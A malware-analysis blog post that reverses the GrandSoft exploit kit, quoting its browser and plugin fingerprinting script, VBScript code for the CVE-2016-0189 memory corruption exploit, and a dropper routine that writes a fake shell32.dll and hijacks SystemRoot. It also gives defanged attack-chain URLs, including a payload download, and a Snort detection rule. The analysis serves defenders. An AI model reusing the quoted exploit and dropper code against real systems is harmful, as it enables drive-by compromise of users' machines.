Goal: Reverse in-depth one of the latest GrandSoft Exploit Kit (EK) landing page and its VBScript Memory Corruption CVE-2016-0189 exploit.
Background:
After analyzing one of the latest BlackTDS traffic redirection leading to GrandSoft EK, I decided to dive deeper into its landing page, observed exploit, and delivery mechanism. GrandSoft EK is being run by one Russian-speaking developer who promotes privately it under the name “GrandSoft Private Exploit Kit.” Largely, the EK is not available on commercial underground markets due to the developer ban for previous customer infractions.
Researcher Jerome Segura recently did an extensive in-depth study covering exploit kits under the title “Exploit kits: Winter 2018 review” for MalwareBytes. The study refers to the GrandSoft EK exploit that is discussed below in the blog.
Outline:
I. Network Collector Module
I. Internals of GrandSoft Landing Page: Main loop
II. “PluginDetect” version
III. detectPlatform
IV. browser
V. addPlugin
VI. Exploit VBS CVE-2016-0189 payload
VII. Traffic chain
VIII. Snort Rule
I. Internals of GrandSoft Landing Page: Main loop
The Exploit Kit landing page is unofsucated and contains the key main loop searching for plugin version related to the following plugins:
A. Java
B. Flash
C. Silverlight
D. AdobeReader
1 2 3 4 5
|
PluginDetect.getVersion("A"); var verJ = PluginDetect.getVersion("Java"); var verF = PluginDetect.getVersion("flash"); var verS = PluginDetect.getVersion("silverlight"); var verPDF = PluginDetect.getVersion("adobereader");
|
Once the EK obtains the version it oputlates a UR path appending it to the var “srcOfScript” and concatenats to the string /getversionpd/. Notably, if the EK is unable to profile some of the plugins it generats the string “null.” Finally, the script is added to the iframe object that redirects to the payload retrieval function.
1 2 3
|
var srcOfScript = "/getversionpd/"+verJ+"/"+verF+"/"+verS+"/"+verPDF;
document.write("<iframe src='"+srcOfScript+"'>");
|
Notably, the observed landing page contained a unique name identifying the redirect as appending the command “PluginDetect” and “998” forming the request. It stores the request as the variable “uniquename.”
1 2 3 4
|
uniqueName: function() { return j.name + "998" }
|
II. “PluginDetect” version
The key function that is leveraged across the EK functionality is its “PluginDetect” one with version “0.9.1”The functions populates a list of variables as “installed,” “version,” “version0,” “getVersionDone,” and “pluginName” that are subsequently populated via the script functionality.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
|
function() { var j = { version: "0.9.1", name: "PluginDetect", addPlugin: function(p, q) { if (p && j.isString(p) && q && j.isFunc(q.getVersion)) { p = p.replace(/\s/g, "").toLowerCase(); j.Plugins[p] = q; if (!j.isDefined(q.getVersionDone)) { q.installed = null; q.version = null; q.version0 = null; q.getVersionDone = null; q.pluginName = p; } } },
|
III. detectPlatform
Notably, the Kit profiles platforms that is used to run the malware via grabbing and parasing “navigator.platform” value for Win, Mac, Linux, FreeBSD, iPhone, iPod, iPad, Win.*CE, Win.*Mobile, Pocket\\s*PC.
1 2 3 4 5 6 7 8 9 10 11 12 13 14
|
detectPlatform: function() { var r = this, q, p = window.navigator ? navigator.platform || "" : ""; j.OS = 100; if (p) { var s = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\\s*PC", 22.3, "", 100]; for (q = s.length - 2; q >= 0; q = q - 2) { if (s[q] && new RegExp(s[q], "i").test(p)) { j.OS = s[q + 1]; break } } } }
|
IV. browser
GrandSoft also profiles very specific browser versions via two core functions “detectIE” and “detectNonIE.”
A. detectIE
detectIE function is implemented via grabbing and parsing values “window.navigator” and “navigator.userAgent” looking “MSIE” values.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
|
detectIE: function() { var r = this, u = document, t, q, v = window.navigator ? navigator.userAgent || "" : "", w, p, y; r.ActiveXFilteringEnabled = !1; r.ActiveXEnabled = !1; ... q = u.documentMode; try { u.documentMode = "" } catch (s) {} r.isIE = r.ActiveXEnabled; r.isIE = r.isIE || j.isNum(u.documentMode) || new Function("return/*@cc_on!@*/!1")(); try { u.documentMode = q } catch (s) {} r.verIE = null; if (r.isIE) { r.verIE = (j.isNum(u.documentMode) && u.documentMode >= 7 ? u.documentMode : 0) || ((/^(?:.*?[^a-zA-Z])??(?:MSIE|rv\s*\:)\s*(\d+\.?\d*)/i).test(v) ? parseFloat(RegExp.$1, 10) : 7) } },
|
B. browser.detectNonIE
The implementation of “detectNonIE” relies on parsing user agent strings such as “Gecko,” “rv”, “OPR|Opera”, “Edge”, “Chrome|CriOS”, and “Apple|Safari.”
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
|
detectNonIE: function() { var q = this, p = 0, t = window.navigator ? navigator : {}, s = q.isIE ? "" : t.userAgent || "", u = t.vendor || "", r = t.product || ""; q.isGecko = !p && (/Gecko/i).test(r) && (/Gecko\s*\/\s*\d/i).test(s); p = p || q.isGecko; q.verGecko = q.isGecko ? j.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(s) ? RegExp.$1 : "0.9") : null; q.isOpera = !p && (/(OPR\s*\/|Opera\s*\/\s*\d.*\s*Version\s*\/|Opera\s*[\/]?)\s*(\d+[\.,\d]*)/i).test(s); p = p || q.isOpera; q.verOpera = q.isOpera ? j.formatNum(RegExp.$2) : null; q.isEdge = !p && (/(Edge)\s*\/\s*(\d[\d\.]*)/i).test(s); p = p || q.isEdge; q.verEdgeHTML = q.isEdge ? j.formatNum(RegExp.$2) : null; q.isChrome = !p && (/(Chrome|CriOS)\s*\/\s*(\d[\d\.]*)/i).test(s); p = p || q.isChrome; q.verChrome = q.isChrome ? j.formatNum(RegExp.$2) : null; q.isSafari = !p && ((/Apple/i).test(u) || !u) && (/Safari\s*\/\s*(\d[\d\.]*)/i).test(s); p = p || q.isSafari; q.verSafari = q.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(s) ? j.formatNum(RegExp.$1) : null; },
|
V. addPlugin
After it grabs all the values, the landing page contains logic to populate and profile 4 different plugins such as “flash,” “adobereader,” “silverlight,” and “java.” Some of the core shortened functions of the function “addPlugin” runs and variables are listed below.
A. j.addPlugin(“flash”, e)
1 2 3 4 5 6 7 8 9 10 11 12
|
var e = { mimeType: "application/x-shockwave-flash", setPluginStatus: function(t, q, p) { var s = this, r; s.installed = q ? 1 : (t ? 0 : -1); s.precision = p; s.version = j.formatNum(q); r = s.installed == -1 || s.instance.version; r = r || s.axo.version; s.getVersionDone = r ? 1 : 0; },
|
B. j.addPlugin(“adobereader”, c)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
|
var c = { OTF: null, setPluginStatus: function() { var p = this, B = p.OTF, v = p.nav.detected, x = p.nav.version, z = p.nav.precision, C = z, u = x, s = v > 0; var H = p.axo.detected, r = p.axo.version, w = p.axo.precision, D = p.doc.detected, G = p.doc.version, t = p.doc.precision, E = p.doc2.detected, F = p.doc2.version, y = p.doc2.precision;
|
C. j.addPlugin(“silverlight”, h)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
|
var h = { getVersion: function() { var r = this, p = null, q = 0; if ((!q || j.dbug) && r.nav.query().installed) { q = 1 } if ((!p || j.dbug) && r.nav.query().version) { p = r.nav.version } if ((!q || j.dbug) && r.axo.query().installed) { q = 1 } if ((!p || j.dbug) && r.axo.query().version) { p = r.axo.version } r.version = j.formatNum(p); r.installed = p ? 1 : (q ? 0 : -1) }
|
D. j.addPlugin(“java”, a)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
|
var a = { Property_names: [], Property_values: [], Property_values_lock: [], JAVATOJSBRIDGE: 0, JSTOJAVABRIDGE: 1, mimeType: ["application/x-java-applet", "application/x-java-vm", "application/x-java-bean"], mimeType_dummy: "application/dummymimejavaapplet", classID: "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93", classID_dummy: "clsid:8AD9C840-044E-11D1-B3E9-BA9876543210",
pluginObj: 0 }, OTF: null, getVerifyTagsDefault: function() { return [1, this.applet.isDisabled.VerifyTagsDefault_1() ? 0 : 1, 1] }
|
VI. Exploit VBS CVE-2016-0189 payload
(Domain: hxxp://qictoeqn[.]incentive[.]jereovivflaminggip[.]xyz/getversionpd/null/null//null)
A. Exploit vulnerabilityThe exploit is identical to the available version on Github leveraging hex-encoded “shell32.” The trigger exploit function is called “SmuggleFag. ” The function resizes the array and overlap freed array area with the exploit string.The GrandSoft EK example of the array exploit building function is as follows:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
|
Dim aw Dim T9lJDdQHhgiB3 Dim lunnga(32) Dim G0tAyknVP4 Dim y(32) Dim x0lIEBoNEzX5 k1 = 1 Dim O4EiqKng6 ryririririiriririrooror = 1999 + k1 Dim T5shDvBvweXg7 sddddddddddddddddddddd = "%u4141" Dim W5mhmePuc8 a9sddddddddddddddddddddad = sddddddddddddddddddddd & sddddddddddddddddddddd
k3 = 32 Dim c7vztnBkf10 fix3 = a9sddddddddddddddddddddad & sddddddddddddddddddddd Dim u9zxrNOt11 zerofix = "%u0000" Dim J1mVWOQyTRn12 trifix = zerofix & zerofix & zerofix Dim f4HnLPliWAsQ13 d = a9sddddddddddddddddddddad & "%u0016" & fix3 & "%u4242%u4242" F6fIXnZEvCA = "For Each G4xdz In U6kBzX End Function While Not Z7cvb.A9BFC " b = String(ryririririiriririrooror*k3, "D") Dim G8GGmkKrCPM15 c = d & b Dim J9oImLEJe16 x = UnEscape(c)
|
B. URI Path download of encoded payload from path
C. cmdrun script
Instead of downloading any additional code, the GrandSoft EK simple relies on building the hex-encoded shell32 to %TEMP% (GetSpecialFolder(2)) directory and retrieving and decoding it subsequently.
The relevant code is as follows:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
|
For i = 1 to Len(hexDial) Step 2 dlltxt = dlltxt & Chr("&H"&Mid(hexDial, i,2)) Next Dim i8oKFQXWobb134 Dim N5TmRtvl135 T7dhDuELNcP = " K4fCC = G6WdxBS & Trim(x1OfSy.h3WPqdH()) " Set c=CreateObject("Scripting.FileSystemObject") Dim b7osNLBJ137 fttttttttttttttttttttttttttttttt=c.GetSpecialFolder(2) Dim a4scxQTEDc138 fake32=ttttttttttttttttttttttttttttttt&"\\System32" Dim U8PvDAdZk139 Dim R0tKOXofLfBm140 If Not c.FolderExists(fake32) Then Dim s6toCqOQGfJ141 c.CreateFolder(fake32) Dim e3LXQLVyimNX142 End If Dim J8pKzTbSOxb143 Dim H5uTerik144 Dim R7PwLxmMpS145 Dim u7TTVOsNdn146 fakedll = c.BuildPath(fake32,"shell32.dll") Set b=c.CreateTextFile(fakedll) b.Write "a1" b.Close Set b=c.CreateTextFile(fakedll) b.Write dlltxt b.Close Set w=CreateObject("WScript.Shell") Dim x9vACiVeCR155 w.CurrentDirectory=fttttttttttttttttttttttttttttttt Dim Z7pMtTvMScyV156 fullCmdRun = cmdRun & fullPath Dim l5dodqMT157 oldroot=w.Environment("Process").Item("SystemRoot") Dim H4mQFgFAefUU158 w.Environment("Process").Item("SystemRoot")=ttttttttttttttttttttttttttttttt Dim C2JTzxJrNXf159 w.Environment("Process").Item("SysFilename")= fullCmdRun Dim d5ehKWvE160 Set sh = CreateObject("Shell.Application")
|
VII. Traffic chain
1. BlackTDS
2. GrandSoft EK Landing
Domain: hxxp://qictoeqn[.]incentive[.]jereovivflaminggip[.]xyz/entourage
3. GrandSoft EK CVE-2016-0189 Exploit
Domain: hxxp://qictoeqn[.]incentive[.]jereovivflaminggip[.]xyz/getversionpd/null/null//null
4. GrandSoft EK Encoded Payload
Domain: hxxp://qictoeqn[.]incentive[.]jereovivflaminggip[.]xyz/2/[0-9]{8}
5. Payload Location
Domain: hxxp://80[.]211[.]10[.]121/downloads/cl[.]exe
VIII. Snort Rule:
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:”Possible GrandSoft EK exploit serve alert”; flow:established,to_server; http_uri; content:”/getversionpd/”; http_uri; content:”/”; http_uri; content:”/”; http_uri; content:”/”; http_uri; reference:url,http://www.vkremez.com/2018/04/lets-learn-in-depth-reversing-of.html; classtype:Exploit-activity; rev:1;)
Like this:
Like Loading...
Related